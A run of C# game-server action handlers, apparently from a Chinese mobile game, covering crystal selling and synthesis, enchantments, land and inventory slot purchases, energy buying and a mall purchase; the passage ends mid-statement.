public override bool TakeAction() { int saleNum = 0; if (ops == 1) { var package = UserCrystalPackage.Get(Uid); UserCrystalInfo userCrystal = package.CrystalPackage.Find(m => m.UserCrystalID.Equals(userCrystalID)); if (userCrystal != null) { totalPrice = (new ConfigCacheSet <CrystalInfo>().FindKey(userCrystal.CrystalID) ?? new CrystalInfo()).Price; ContextUser.GameCoin = MathUtils.Addition(ContextUser.GameCoin, totalPrice, int.MaxValue); //ContextUser.Update(); UserLogHelper.AppenCtystalLog(ContextUser.UserID, 4, userCrystal.CrystalID, totalPrice, 0, null, userCrystal.CrystalLv, userCrystal.CurrExprience); package.RemoveCrystal(userCrystal); } else { CrystalHelper.SellGrayCrystal(ContextUser, userCrystalID, out saleNum); } } else if (ops == 2) { CrystalHelper.SellGrayCrystal(ContextUser, null, out saleNum); } else { ErrorCode = LanguageManager.GetLang().ErrorCode; ErrorInfo = LanguageManager.GetLang().ServerBusy; return(false); } return(true); }
/// <summary> /// 强化 /// </summary> private void UpdateUserItem(GameUser user, UserItemInfo userItem, int strongMoney) { if (user.GameCoin >= strongMoney) { user.GameCoin = MathUtils.Subtraction(user.GameCoin, strongMoney, 0); var package = UserItemPackage.Get(user.UserID); strongLv = 0; VipLvInfo vipLvInfo = new ConfigCacheSet <VipLvInfo>().FindKey(user.VipLv); for (int i = 0; i < ops; i++) { EquStreng streng = null; if (vipLvInfo != null && vipLvInfo.EquStreng != null) { streng = vipLvInfo.EquStreng; } if (streng != null && RandomUtils.IsHit(streng.probability)) { strongLv += (short)RandomUtils.GetRandom(streng.start, streng.end); } else { strongLv += 1; } } userItem.ItemLv = MathUtils.Addition(userItem.ItemLv, strongLv); package.SaveItem(userItem); UserLogHelper.AppenStrongLog(user.UserID, 1, userItem.UserItemID, userItem.ItemID, 2, userItem.ItemLv, 0, userItem.GeneralID); } }
public override bool TakeAction() { int sumGold = GetPostionUseGold(landPostion); UserPlant plant = new GameDataCacheSet <UserPlant>().FindKey(ContextUser.UserID); UserLand uLands = new GameDataCacheSet <UserLand>().FindKey(ContextUser.UserID, landPostion); if (uLands != null) { ErrorCode = LanguageManager.GetLang().ErrorCode; ErrorInfo = LanguageManager.GetLang().St10008_LandPostionIsOpen; return(false); } if (Ops == 1) { ErrorCode = 1; ErrorInfo = string.Format(LanguageManager.GetLang().St10008_OpenLandPostion, sumGold); return(false); } else if (Ops == 2) { if (ContextUser.GoldNum < sumGold) { ErrorCode = 2; ErrorInfo = LanguageManager.GetLang().St_GoldNotEnough; return(false); } if (ContextUser.GoldNum >= sumGold) { ContextUser.UseGold = MathUtils.Addition(ContextUser.UseGold, sumGold, int.MaxValue); //ContextUser.Update(); plant.LandNum = landPostion; //plant.Update(); UserLand land = new UserLand() { UserID = ContextUser.UserID, GeneralID = 0, LandPositon = landPostion, PlantType = PlantType.Experience, IsRedLand = 2, IsBlackLand = 2, IsGain = 2, PlantQuality = PlantQualityType.PuTong }; var cacheSet = new GameDataCacheSet <UserLand>(); cacheSet.Add(land, GameEnvironment.CacheUserPeriod); UserLogHelper.AppenLandLog(ContextUser.UserID, 1, 0, landPostion, sumGold, 0, 0, 0); } } return(true); }
public override bool TakeAction() { if (latticeNum > ContextUser.WarehouseNum) { int maxWarehouseNum = ConfigEnvSet.GetInt("User.WarehouseMaxNum"); int openGold = GetOpenGoldNum(latticeNum, ContextUser.WarehouseNum); int UserGridNum = ContextUser.WarehouseNum; int OpenGridNum = MathUtils.Addition(UserGridNum, latticeNum, maxWarehouseNum);//开启的格子数 int subGridNum = MathUtils.Subtraction(latticeNum, UserGridNum, 0); if (ops == 1) { //开启第n个格子所需的晶石 this.ErrorCode = 1; this.ErrorInfo = string.Format(LanguageManager.GetLang().St1108_WarehouseNumUseGold, subGridNum, openGold); return(false); } else if (ops == 2) { if (ContextUser.GoldNum >= openGold) { this.ErrorCode = 2; ContextUser.UseGold = MathUtils.Addition(ContextUser.UseGold, openGold, int.MaxValue); ContextUser.WarehouseNum = latticeNum; //ContextUser.Update(); UserLogHelper.AppenUseGoldLog(ContextUser.UserID, 5, latticeNum, OpenGridNum, openGold, ContextUser.GoldNum, MathUtils.Addition(ContextUser.GoldNum, openGold, int.MaxValue)); } else { this.ErrorCode = LanguageManager.GetLang().ErrorCode; this.ErrorInfo = LanguageManager.GetLang().St_GoldNotEnough; return(false); } } else { this.ErrorCode = LanguageManager.GetLang().ErrorCode; return(false); } } return(true); }
/// <summary> /// 合成水晶 /// </summary> /// <param name="userCryStal1"></param> /// <param name="userCryStal2"></param> /// <param name="cryExprience2"></param> private void UpdateCrystal(string _userCrystalID1, string _userCrystalID2, int cryExprience2) { var package = UserCrystalPackage.Get(Uid); UserCrystalInfo userCryStalInfo1 = package.CrystalPackage.Find(m => m.UserCrystalID.Equals(_userCrystalID1)); UserCrystalInfo userCryStalInfo2 = package.CrystalPackage.Find(m => m.UserCrystalID.Equals(_userCrystalID2)); CacheList <SynthesisInfo> SynList = new CacheList <SynthesisInfo>(); SynList.Add(new SynthesisInfo() { DemandID = userCryStalInfo2.CrystalID, Num = userCryStalInfo2.CurrExprience }); userCryStalInfo1.CurrExprience = MathUtils.Addition(userCryStalInfo1.CurrExprience, cryExprience2); userCryStalInfo1.CurrExprience = MathUtils.Addition(userCryStalInfo1.CurrExprience, userCryStalInfo2.CurrExprience); package.SaveCrystal(userCryStalInfo1); //package.DelayChange(); UserHelper.CheckCrystalEscalate(ContextUser.UserID, userCryStalInfo1.UserCrystalID); UserLogHelper.AppenCtystalLog(ContextUser.UserID, 3, userCryStalInfo1.CrystalID, 0, 0, SynList, userCryStalInfo1.CrystalLv, userCryStalInfo1.CurrExprience); package.RemoveCrystal(userCryStalInfo2); }
public override bool TakeAction() { if (ContextUser.UserExtend != null && latticeNum > ContextUser.UserExtend.EnchantGridNum) { int openGold = EnchantHelper.EnchantOpenGoldNum(latticeNum, ContextUser.UserExtend.EnchantGridNum); int subGridNum = MathUtils.Subtraction(latticeNum, ContextUser.UserExtend.EnchantGridNum); if (ops == 1) { ErrorCode = ops; ErrorInfo = string.Format(LanguageManager.GetLang().St1260_UseGoldOpenPackage, openGold, subGridNum); return(false); } else if (ops == 2) { if (ContextUser.GoldNum >= openGold) { ErrorCode = ops; int goldNum = ContextUser.GoldNum; ContextUser.UseGold = MathUtils.Addition(ContextUser.UseGold, openGold); ContextUser.UserExtend.UpdateNotify(obj => { ContextUser.UserExtend.EnchantGridNum = (short)latticeNum; return(true); }); UserLogHelper.AppenUseGoldLog(ContextUser.UserID, 8, latticeNum, subGridNum, openGold, ContextUser.GoldNum, goldNum); } else { ErrorCode = LanguageManager.GetLang().ErrorCode; ErrorInfo = LanguageManager.GetLang().St_GoldNotEnough; return(false); } } else { ErrorCode = LanguageManager.GetLang().ErrorCode; return(false); } } return(true); }
public override bool TakeAction() { if (latticeNum > ContextUser.CrystalNum) { int openGold = GetOpenGoldNum(latticeNum, ContextUser.CrystalNum); int UserCrystalNum = ContextUser.CrystalNum; int openGridNum = MathUtils.Addition(UserCrystalNum, latticeNum, 20);//开启的格子数 int subNum = MathUtils.Subtraction(latticeNum, ContextUser.CrystalNum, 0); if (ops == 1) { //开启第n个格子所需的晶石 ErrorCode = 1; ErrorInfo = string.Format(LanguageManager.GetLang().St1310_UseCrystalGold, subNum, openGold); return(false); } else if (ops == 2) { if (ContextUser.GoldNum >= openGold) { ErrorCode = 2; ContextUser.UseGold = MathUtils.Addition(ContextUser.UseGold, openGold, int.MaxValue); ContextUser.CrystalNum = latticeNum; //ContextUser.Update(); UserLogHelper.AppenUseGoldLog(ContextUser.UserID, 5, latticeNum, openGridNum, openGold, ContextUser.GoldNum, MathUtils.Addition(ContextUser.GoldNum, openGold, int.MaxValue)); } else { ErrorCode = LanguageManager.GetLang().ErrorCode; ErrorInfo = LanguageManager.GetLang().St_GoldNotEnough; return(false); } } else { ErrorCode = LanguageManager.GetLang().ErrorCode; return(false); } } return(true); }
public override bool TakeAction() { var package = UserEnchant.Get(ContextUser.UserID); if (package == null) { return(false); } UserEnchantInfo userEnchantInfo = package.EnchantPackage.Find(m => m.UserEnchantID == userEnchantID); if (userEnchantInfo == null) { ErrorCode = LanguageManager.GetLang().ErrorCode; ErrorInfo = LanguageManager.GetLang().St1256_EnchantNotEnough; return(false); } EnchantInfo enchant = new ShareCacheStruct <EnchantInfo>().FindKey(userEnchantInfo.EnchantID); EnchantLvInfo enchantLvInfo = new ShareCacheStruct <EnchantLvInfo>().FindKey(userEnchantInfo.EnchantID, userEnchantInfo.EnchantLv); if (enchant != null && enchantLvInfo != null) { ContextUser.GameCoin = MathUtils.Addition(ContextUser.GameCoin, enchantLvInfo.CoinPrice); if (ContextUser.UserExtend == null) { ContextUser.UserExtend = new GameUserExtend(); } ContextUser.UserExtend.UpdateNotify(obj => { ContextUser.UserExtend.MoJingNum = MathUtils.Addition(ContextUser.UserExtend.MoJingNum, enchantLvInfo.MoJingPrice); return(true); }); UserLogHelper.AppenEnchantLog(ContextUser.UserID, 1, userEnchantInfo, new CacheList <SynthesisInfo>()); package.RemoveEnchant(userEnchantInfo); } return(true); }
/// <summary> /// 附魔符ID=等级=数量 /// </summary> /// <param name="list"></param> /// <param name="userID"></param> private static void PutEnchant(string[] list, string userID) { var package = UserEnchant.Get(userID); foreach (string enchant in list) { if (string.IsNullOrEmpty(enchant)) { continue; } string[] crystalList = enchant.Split(new char[] { '=' }); int enchantID = crystalList.Length > 0 ? Convert.ToInt32(crystalList[0]) : 0; short enchantLv = crystalList.Length > 1 ? Convert.ToInt16(crystalList[1]) : (short)0; int enchantNum = crystalList.Length > 2 ? Convert.ToInt32(crystalList[2]) : 0; EnchantInfo enchantInfo = new ShareCacheStruct <EnchantInfo>().FindKey(enchantID); var enchantLvInfo = new ShareCacheStruct <EnchantLvInfo>().FindKey(enchantID, enchantLv); if (enchantInfo != null && package != null && enchantLvInfo != null) { for (int i = 0; i < enchantNum; i++) { UserEnchantInfo userenchant = EnchantHelper.GetUserEnchantInfo(enchantID, enchantLv); if (userenchant != null) { UserLogHelper.AppenEnchantLog(userID, 2, userenchant, new CacheList <SynthesisInfo>()); package.SaveEnchant(userenchant); } } } else { new Base.BaseLog().SaveLog("领取附魔符异常", new Exception(string.Format("userID:{3},enchantID:{0},enchantNum:{1},enchantLv:{2}", enchantID, enchantNum, enchantLv, userID))); } } }
public override bool TakeAction() { var package = UserEnchant.Get(ContextUser.UserID); if (package != null) { var userEnchant = package.EnchantPackage.Find(m => m.UserEnchantID == userEnchantID); if (userEnchant != null) { if (userEnchant.MaxMature >= GameConfigSet.MaxEnchantMature) { ErrorCode = LanguageManager.GetLang().ErrorCode; ErrorInfo = LanguageManager.GetLang().St1258_OutMaxEnchantMature; return(false); } List <EnchantCulTure> culTuresList = EnchantHelper.EnchantCultureList(); EnchantCulTure enchantCulTure = culTuresList.Find(m => m.CultureType == cultureType); if (enchantCulTure != null) { if (cultureType == EnchantCultureType.Ordinary) { if (ContextUser.UserExtend == null || ContextUser.UserExtend.MoJingNum < enchantCulTure.MoJingNum) { ErrorCode = LanguageManager.GetLang().ErrorCode; ErrorInfo = LanguageManager.GetLang().St1258_MagicCrystalNotEnough; return(false); } } else { if (ContextUser.GoldNum < enchantCulTure.GoldNum) { ErrorCode = LanguageManager.GetLang().ErrorCode; ErrorInfo = LanguageManager.GetLang().St_GoldNotEnough; return(false); } } string content = string.Empty; if (RandomUtils.IsHit(enchantCulTure.SuccessNum)) { if (cultureType == EnchantCultureType.Ordinary) { ContextUser.UserExtend.MoJingNum = MathUtils.Subtraction(ContextUser.UserExtend.MoJingNum, enchantCulTure.MoJingNum); content = string.Format(LanguageManager.GetLang().St1258_ConsumeMagicCrystalUpEnhance, enchantCulTure.MoJingNum, enchantCulTure.UpMature); } else { ContextUser.UseGold = MathUtils.Addition(ContextUser.UseGold, enchantCulTure.GoldNum); content = string.Format(LanguageManager.GetLang().St1258_ConsumeGoldNumUpEnhance, enchantCulTure.GoldNum, enchantCulTure.UpMature); } short maxMatureNum = MathUtils.Addition(userEnchant.MaxMature, enchantCulTure.UpMature, (short)GameConfigSet.MaxEnchantMature); userEnchant.UpdateNotify(obj => { userEnchant.MaxMature = maxMatureNum; return(true); }); UserLogHelper.AppenEnchantLog(ContextUser.UserID, 3, userEnchant, new CacheList <SynthesisInfo>()); } else { if (cultureType == EnchantCultureType.Ordinary) { ContextUser.UserExtend.MoJingNum = MathUtils.Subtraction(ContextUser.UserExtend.MoJingNum, enchantCulTure.MoJingNum); content = string.Format(LanguageManager.GetLang().St1258_EnhanceCultureFailedMagicCrystal, enchantCulTure.MoJingNum); } else { ContextUser.UseGold = MathUtils.Addition(ContextUser.UseGold, enchantCulTure.GoldNum); content = string.Format(LanguageManager.GetLang().St1258_EnhanceCultureFailedGold, enchantCulTure.GoldNum); } } ErrorCode = 0; ErrorInfo = content; } } } return(true); }
public override bool TakeAction() { var syntheList = new CacheList <SynthesisInfo>(); var package = UserEnchant.Get(ContextUser.UserID); if (ops == 1) { UserEnchantInfo userEnchantinfo1 = package.EnchantPackage.Find(m => m.UserEnchantID == userEnchantID1); UserEnchantInfo userEnchantinfo2 = package.EnchantPackage.Find(m => m.UserEnchantID == userEnchantID2); if (userEnchantinfo1 == null || userEnchantinfo2 == null) { ErrorCode = LanguageManager.GetLang().ErrorCode; ErrorInfo = LanguageManager.GetLang().St1256_EnchantNotEnough; return(false); } if (userEnchantinfo1.EnchantLv >= GameConfigSet.MaxEnchantLv) { ErrorCode = LanguageManager.GetLang().ErrorCode; ErrorInfo = LanguageManager.GetLang().St1256_OutMaxEnchantLv; return(false); } int entExprience1 = 0; int entExprience2 = 0; EnchantInfo enchant1 = new ShareCacheStruct <EnchantInfo>().FindKey(userEnchantinfo1.EnchantID); EnchantInfo enchant2 = new ShareCacheStruct <EnchantInfo>().FindKey(userEnchantinfo2.EnchantID); if (enchant1 != null && enchant2 != null) { entExprience1 = enchant1.Experience; entExprience2 = enchant2.Experience; if (userEnchantinfo1.EnchantLv > userEnchantinfo2.EnchantLv || (userEnchantinfo1.EnchantLv == userEnchantinfo2.EnchantLv && userEnchantinfo1.CurrExprience >= userEnchantinfo2.CurrExprience)) { UpdateEnchant(userEnchantID1, userEnchantID2, entExprience2); syntheList.Add(new SynthesisInfo() { DemandID = userEnchantinfo2.EnchantID, Num = userEnchantinfo2.CurrExprience }); UserLogHelper.AppenEnchantLog(ContextUser.UserID, 4, userEnchantinfo1, syntheList); } else { UpdateEnchant(userEnchantID2, userEnchantID1, entExprience1); syntheList.Add(new SynthesisInfo() { DemandID = userEnchantinfo1.EnchantID, Num = userEnchantinfo1.CurrExprience }); UserLogHelper.AppenEnchantLog(ContextUser.UserID, 4, userEnchantinfo2, syntheList); } } } else if (ops == 2) { int experience = 0; var enchantArray = package.EnchantPackage.FindAll(m => string.IsNullOrEmpty(m.UserItemID)); if (enchantArray.Count == 0) { ErrorCode = LanguageManager.GetLang().ErrorCode; ErrorInfo = LanguageManager.GetLang().St1256_EnchantNotEnough; return(false); } if (enchantArray.Count == 1) { ErrorCode = LanguageManager.GetLang().ErrorCode; ErrorInfo = LanguageManager.GetLang().St1256_EnchantNumNotEnough; return(false); } enchantArray.QuickSort((x, y) => { int result = 0; if (x == null && y == null) { return(0); } if (x != null && y == null) { return(1); } if (x == null) { return(-1); } result = y.EnchantLv.CompareTo(x.EnchantLv); if (result == 0) { result = y.CurrExprience.CompareTo(x.CurrExprience); } return(result); }); UserEnchantInfo uEnchantInfo = package.EnchantPackage.Find(m => m.UserEnchantID == enchantArray[0].UserEnchantID); if (uEnchantInfo == null) { ErrorCode = LanguageManager.GetLang().ErrorCode; ErrorInfo = LanguageManager.GetLang().St1262_EnchantSynthesisNotEnough; return(false); } EnchantLvInfo enchantLvInfo = new ShareCacheStruct <EnchantLvInfo>().FindKey(uEnchantInfo.EnchantID, GameConfigSet.MaxEnchantLv); int maxExprience = enchantLvInfo == null ? 0 : enchantLvInfo.Experience; foreach (var info in enchantArray) { EnchantInfo enchantInfo = new ShareCacheStruct <EnchantInfo>().FindKey(info.EnchantID); if (enchantInfo != null) { experience = enchantInfo.Experience; } if (uEnchantInfo.UserEnchantID != info.UserEnchantID) { if (uEnchantInfo.CurrExprience >= maxExprience) { ErrorCode = LanguageManager.GetLang().ErrorCode; ErrorInfo = LanguageManager.GetLang().St1256_OutMaxEnchantLv; return(false); } syntheList.Add(new SynthesisInfo() { DemandID = info.EnchantID, Num = info.CurrExprience }); UpdateEnchant(uEnchantInfo.UserEnchantID, info.UserEnchantID, experience); } } UserLogHelper.AppenEnchantLog(ContextUser.UserID, 4, uEnchantInfo, syntheList); } return(true); }
public override bool TakeAction() { if (ContextUser.VipLv < 4) { this.ErrorCode = LanguageManager.GetLang().ErrorCode; this.ErrorInfo = LanguageManager.GetLang().St_VipNotEnough; return(false); } List <UserLand> uLandArray = new GameDataCacheSet <UserLand>().FindAll(ContextUser.UserID, u => u.IsRedLand == 1); if (uLandArray.Count < 9) { this.ErrorCode = LanguageManager.GetLang().ErrorCode; this.ErrorInfo = LanguageManager.GetLang().St10011_RedLandNotEnough; return(false); } if (uLandArray.Count > 0 && uLandArray[uLandArray.Count - 1].IsBlackLand == 1) { ErrorCode = LanguageManager.GetLang().ErrorCode; ErrorInfo = LanguageManager.GetLang().St10011_BlackLandFull; return(false); } List <UserLand> landArray = new GameDataCacheSet <UserLand>().FindAll(ContextUser.UserID, u => u.IsBlackLand == 2); landArray.QuickSort((x, y) => { if (x == null && y == null) { return(0); } if (x != null && y == null) { return(1); } if (x == null) { return(-1); } return(((int)x.LandPositon).CompareTo((int)y.LandPositon)); }); int position = 0; if (landArray.Count > 0) { position = landArray[0].LandPositon; } int sumGold = GetPostionUseGold(position); if (ops == 1) { this.ErrorCode = 1; this.ErrorInfo = string.Format(LanguageManager.GetLang().St10011_UpBlackLandUseGold, sumGold); return(false); } else if (ops == 2) { if (ContextUser.GoldNum < sumGold) { this.ErrorCode = 2; this.ErrorInfo = LanguageManager.GetLang().St_GoldNotEnough; return(false); } UserLand land = new GameDataCacheSet <UserLand>().FindKey(ContextUser.UserID, position); if (land != null && land.IsRedLand == 1 && land.IsBlackLand == 2) { if (land.IsRedLand == 1 && land.IsBlackLand == 2) { ContextUser.UseGold = MathUtils.Addition(ContextUser.UseGold, sumGold, int.MaxValue); land.IsBlackLand = 1; UserLogHelper.AppenLandLog(ContextUser.UserID, 3, 0, position, sumGold, 0, 0, 0); } } else if (land != null && land.IsRedLand == 2) { this.ErrorCode = LanguageManager.GetLang().ErrorCode; this.ErrorInfo = LanguageManager.GetLang().St10011_NotRedLand; return(false); } else { this.ErrorCode = LanguageManager.GetLang().ErrorCode; this.ErrorInfo = LanguageManager.GetLang().St10010_UpRedLandNotEnough; return(false); } } return(true); }
public override bool TakeAction() { UserHelper.GetUserLightOpen(ContextUser.UserID); short opType = 0; int huntingID2 = 0; if (huntingID < 1005) { huntingID2 = MathUtils.Addition(huntingID, 1, int.MaxValue); } else { huntingID2 = 1001; //huntingID; } UserHelper.ChechDailyRestrain(ContextUser.UserID); if (!CrystalHelper.CheckAllowCrystall(ContextUser)) { ErrorCode = 1000; ErrorInfo = LanguageManager.GetLang().St1305_FateBackpackFull; return(false); } else { if (!CrystalHelper.CheckAllowCrystall(ContextUser)) { ErrorCode = errorNum; ErrorInfo = LanguageManager.GetLang().St1305_FateBackpackFull; return(false); } } ProbabilityInfo probabilityInfo = null; if (ops == 1) { #region opType = 1; UserDailyRestrain userRestrain = new PersonalCacheStruct <UserDailyRestrain>().FindKey(ContextUser.UserID); probabilityInfo = new ShareCacheStruct <ProbabilityInfo>().FindKey(huntingID); //当前猎命人物的概率 if (probabilityInfo == null) { return(false); } ProbabilityInfo probability1 = new ShareCacheStruct <ProbabilityInfo>().FindKey(huntingID2); if (userRestrain != null && userRestrain.Funtion2 >= VipHelper.GetVipUseNum(ContextUser.VipLv, RestrainType.MianFeiLieMing) && DateTime.Now.Date == userRestrain.RefreshDate.Date) { if (probabilityInfo.Price > ContextUser.GameCoin) { ErrorCode = errorNum; ErrorInfo = LanguageManager.GetLang().St_GameCoinNotEnough; return(false); } } //暑期第三弹 if (huntingID2 == 1001 && !NoviceHelper.IsGianCrystalPack(ContextUser)) { ErrorCode = errorNum; ErrorInfo = LanguageManager.GetLang().St1305_BeiBaoBackpackFull; return(false); } var lightCacheSet = new PersonalCacheStruct <UserLight>(); if (huntingID != 1001) { UserLight userLight1 = lightCacheSet.FindKey(ContextUser.UserID, huntingID); if (userLight1.IsLight == 2) { ErrorCode = LanguageManager.GetLang().ErrorCode; return(false); } if (userLight1.IsLight == 1) { userLight1.IsLight = 2; //userLight1.Update(); } } UserLight userLight = new PersonalCacheStruct <UserLight>().FindKey(ContextUser.UserID, huntingID2); if (RandomUtils.IsHit(probability1.Light)) { ErrorCode = ErrorCode; ErrorInfo = probability1.HuntingName; if (userLight != null) { userLight.IsLight = 1; //userLight.Update(); } else { userLight = new UserLight() { UserID = ContextUser.UserID, HuntingID = huntingID2, IsLight = 1 }; lightCacheSet.Add(userLight); } } if (userRestrain != null) { if (userRestrain.Funtion2 >= VipHelper.GetVipUseNum(ContextUser.VipLv, RestrainType.MianFeiLieMing) && DateTime.Now.Date == userRestrain.RefreshDate.Date) { ContextUser.GameCoin = MathUtils.Subtraction(ContextUser.GameCoin, probabilityInfo.Price, 0); //ContextUser.Update(); } else { userRestrain.Funtion2 = MathUtils.Addition(userRestrain.Funtion2, 1, int.MaxValue); //userRestrain.Update(); } } else { ContextUser.GameCoin = MathUtils.Subtraction(ContextUser.GameCoin, probabilityInfo.Price, 0); //ContextUser.Update(); } lightArray = new PersonalCacheStruct <UserLight>().FindAll(ContextUser.UserID); #endregion } else if (ops == 2) { #region opType = 2; if (ContextUser.VipLv < 5) { ErrorCode = LanguageManager.GetLang().ErrorCode; ErrorInfo = LanguageManager.GetLang().St_VipNotEnough; return(false); } probabilityInfo = new ShareCacheStruct <ProbabilityInfo>().FindKey(huntingID); //当前猎命人物的概率 if (probabilityInfo == null) { return(false); } if (ContextUser.GoldNum < probabilityInfo.Price) { ErrorCode = LanguageManager.GetLang().ErrorCode; ErrorInfo = LanguageManager.GetLang().St_GoldNotEnough; return(false); } UserLight uLightInfo = new PersonalCacheStruct <UserLight>().FindKey(ContextUser.UserID, probabilityInfo.GoldHunting); if (uLightInfo != null && uLightInfo.IsLight == 1) { ErrorCode = LanguageManager.GetLang().ErrorCode; ErrorInfo = LanguageManager.GetLang().St1305_HuntingIDLight; return(false); } else if (uLightInfo != null && (uLightInfo.IsLight == 2 || uLightInfo.IsLight == 0)) { uLightInfo.IsLight = 1; } else { uLightInfo = new UserLight() { UserID = ContextUser.UserID, HuntingID = probabilityInfo.GoldHunting, IsLight = 1 }; new PersonalCacheStruct <UserLight>().Add(uLightInfo); } ContextUser.UseGold = MathUtils.Addition(ContextUser.UseGold, probabilityInfo.Price, int.MaxValue); lightArray = new PersonalCacheStruct <UserLight>().FindAll(ContextUser.UserID); #endregion } //每种品质的概率 double[] probabilityArray2 = { (double)probabilityInfo.Gray, (double)probabilityInfo.Green, (double)probabilityInfo.Blue, (double)probabilityInfo.Purple, (double)probabilityInfo.Yellow, (double)probabilityInfo.Red }; int index2 = RandomUtils.GetHitIndex(probabilityArray2); CrystalQualityType qualityType = (CrystalQualityType)Enum.Parse(typeof(CrystalQualityType), (index2 + 1).ToString()); List <CrystalInfo> crystalArray2 = new ShareCacheStruct <CrystalInfo>().FindAll(u => u.CrystalQuality == qualityType && u.DemandLv <= ContextUser.UserLv); if (crystalArray2.Count > 0) { int randomNum = RandomUtils.GetRandom(0, crystalArray2.Count); crystal = new ShareCacheStruct <CrystalInfo>().FindKey(crystalArray2[randomNum].CrystalID); if (crystal != null && crystal.CrystalQuality == CrystalQualityType.Gray) { //wuzf修改 8-15 灰色放在临时背包不存DB CrystalHelper.AppendGrayCrystal(ContextUser, crystal.CrystalID); } else if (crystal != null) { var package = UserCrystalPackage.Get(Uid); UserCrystalInfo userCrystal = new UserCrystalInfo() { UserCrystalID = Guid.NewGuid().ToString(), CrystalID = crystal.CrystalID, CrystalLv = 1, CurrExprience = 0, GeneralID = 0, IsSale = 1, CreateDate = DateTime.Now }; package.SaveCrystal(userCrystal); UserLogHelper.AppenCtystalLog(ContextUser.UserID, opType, crystal.CrystalID, probabilityInfo.Price, probabilityInfo.Price, null, 1, 0); //高品质聊天通知); if (crystal.CrystalQuality >= CrystalQualityType.Yellow) { var cacheChat = new TjxChatService(); string content = string.Format(LanguageManager.GetLang().St1305_HighQualityNotice, ContextUser.NickName, CrystalHelper.GetQualityName(crystal.CrystalQuality), crystal.CrystalName ); cacheChat.SystemSend(ChatType.World, content); } } } //日常任务-猎命 TaskHelper.TriggerDailyTask(Uid, 4009); return(true); }
public override bool TakeAction() { int energyNum = ConfigEnvSet.GetInt("User.EnergyNum"); UserHelper.ChechDailyRestrain(ContextUser.UserID); var cacheSet = new PersonalCacheStruct <UserDailyRestrain>(); double addNum = FestivalHelper.SurplusPurchased(ContextUser.UserID, FestivalType.PurchasedEnergy);//活动加成 int payNum = FestivalHelper.SurplusEnergyNum(ContextUser.UserID); UserDailyRestrain userRestrain = cacheSet.FindKey(ContextUser.UserID); if (payNum == 0) { if (userRestrain != null && DateTime.Now.Date != userRestrain.RefreshDate.Date) { userRestrain.Funtion4 = 0; } if (userRestrain != null && userRestrain.Funtion4 >= VipHelper.GetVipUseNum(ContextUser.VipLv, RestrainType.GouMaiJingLi) && DateTime.Now.Date == userRestrain.RefreshDate.Date) { this.ErrorCode = LanguageManager.GetLang().ErrorCode; this.ErrorInfo = LanguageManager.GetLang().St1010_JingliFull; return(false); } } int useGold = (GetPayEnergyGold(ContextUser.UserID, ContextUser.VipLv, payType) * addNum).ToInt(); if (payType == 1) { if (ops == 1) { this.ErrorCode = 1; this.ErrorInfo = string.Format(LanguageManager.GetLang().St1010_PayEnergyUseGold, useGold, energyNum); return(false); } else if (ops == 2) { if (ContextUser.GoldNum < useGold) { this.ErrorCode = LanguageManager.GetLang().ErrorCode; this.ErrorInfo = LanguageManager.GetLang().St_GoldNotEnough; return(false); } ContextUser.UseGold = MathUtils.Addition(ContextUser.UseGold, useGold, int.MaxValue); ContextUser.EnergyNum = MathUtils.Addition(ContextUser.EnergyNum, GetEnergyNum(ContextUser.UserID, ContextUser.VipLv, payType), short.MaxValue); if (payNum == 0) { if (userRestrain != null) { userRestrain.Funtion4 = MathUtils.Addition(userRestrain.Funtion4, 1, int.MaxValue); } else { userRestrain = new UserDailyRestrain(); userRestrain.UserID = ContextUser.UserID; userRestrain.RefreshDate = DateTime.Now; userRestrain.Funtion4 = 1; cacheSet.Add(userRestrain); } } UserLogHelper.AppenUseGoldLog(ContextUser.UserID, 1, 0, userRestrain.Funtion4, useGold, ContextUser.GoldNum, MathUtils.Addition(ContextUser.GoldNum, useGold, int.MaxValue)); FestivalHelper.PurchasedEnergy(ContextUser.UserID); } } else if (payType == 2) { short payEnergy = GetEnergyNum(ContextUser.UserID, ContextUser.VipLv, payType); if (!VipHelper.GetVipOpenFun(ContextUser.VipLv, ExpandType.ZiDongGouMaiJingLi)) { this.ErrorCode = LanguageManager.GetLang().ErrorCode; this.ErrorInfo = LanguageManager.GetLang().St_VipNotEnoughNotFuntion; return(false); } if (ops == 1) { this.ErrorCode = 1; this.ErrorInfo = string.Format(LanguageManager.GetLang().St1010_PayEnergyUseGold, useGold, payEnergy); return(false); } else if (ops == 2) { if (ContextUser.GoldNum < useGold) { this.ErrorCode = LanguageManager.GetLang().ErrorCode; this.ErrorInfo = LanguageManager.GetLang().St_GoldNotEnough; return(false); } ContextUser.UseGold = MathUtils.Addition(ContextUser.UseGold, useGold, int.MaxValue); ContextUser.EnergyNum = MathUtils.Addition(ContextUser.EnergyNum, payEnergy, short.MaxValue); if (userRestrain != null) { userRestrain.Funtion4 = MathUtils.Addition(userRestrain.Funtion4, 1, int.MaxValue); } else { userRestrain = new UserDailyRestrain(); userRestrain.UserID = ContextUser.UserID; userRestrain.RefreshDate = DateTime.Now; userRestrain.Funtion4 = 1; cacheSet.Add(userRestrain); } UserLogHelper.AppenUseGoldLog(ContextUser.UserID, 1, userRestrain.Funtion4, 1, useGold, ContextUser.GoldNum, MathUtils.Addition(ContextUser.GoldNum, useGold, int.MaxValue)); } } return(true); }
public override bool TakeAction() { ItemBaseInfo itemInfo = new ConfigCacheSet <ItemBaseInfo>().FindKey(_itemId); //UserItemHelper.AddUserItem(ContextUser.UserID, 1702, 1); //UserItemHelper.AddUserItem(ContextUser.UserID, 1701, 1); //UserItemHelper.AddUserItem(ContextUser.UserID, 1213, 1); if (itemInfo == null) { return(false); } //判断背包是否已满 string fullTitle = string.Empty; bool isFull = false; if (itemInfo.ItemType == ItemType.ZhuangBei) { isFull = UserPackHelper.PackIsFull(ContextUser, BackpackType.ZhuangBei, _num, out fullTitle); } else { isFull = UserPackHelper.PackIsFull(ContextUser, BackpackType.BeiBao, _num, out fullTitle); } if (isFull) { ErrorCode = LanguageManager.GetLang().ErrorCode; ErrorInfo = fullTitle; //ErrorInfo = LanguageManager.GetLang().St7004_BeiBaoTimeOut; return(false); } //读取物品信息 MallItemsInfo mallItemInfo = new ConfigCacheSet <MallItemsInfo>().FindKey(_itemId, CityId, _commandType); if (mallItemInfo == null) { return(false); } //物品价格 int mallPrice = mallItemInfo.Price; if (mallItemInfo.MallType == ShopType.Props || mallItemInfo.MallType == ShopType.PresendBox) { mallPrice = (FestivalHelper.StoreDiscount() * mallPrice).ToInt(); } else if (mallItemInfo.SpecialPrice > 0) { mallPrice = mallItemInfo.SpecialPrice; } //根据物品类型进行扣钱 if (_commandType == ShopType.Props || _commandType == 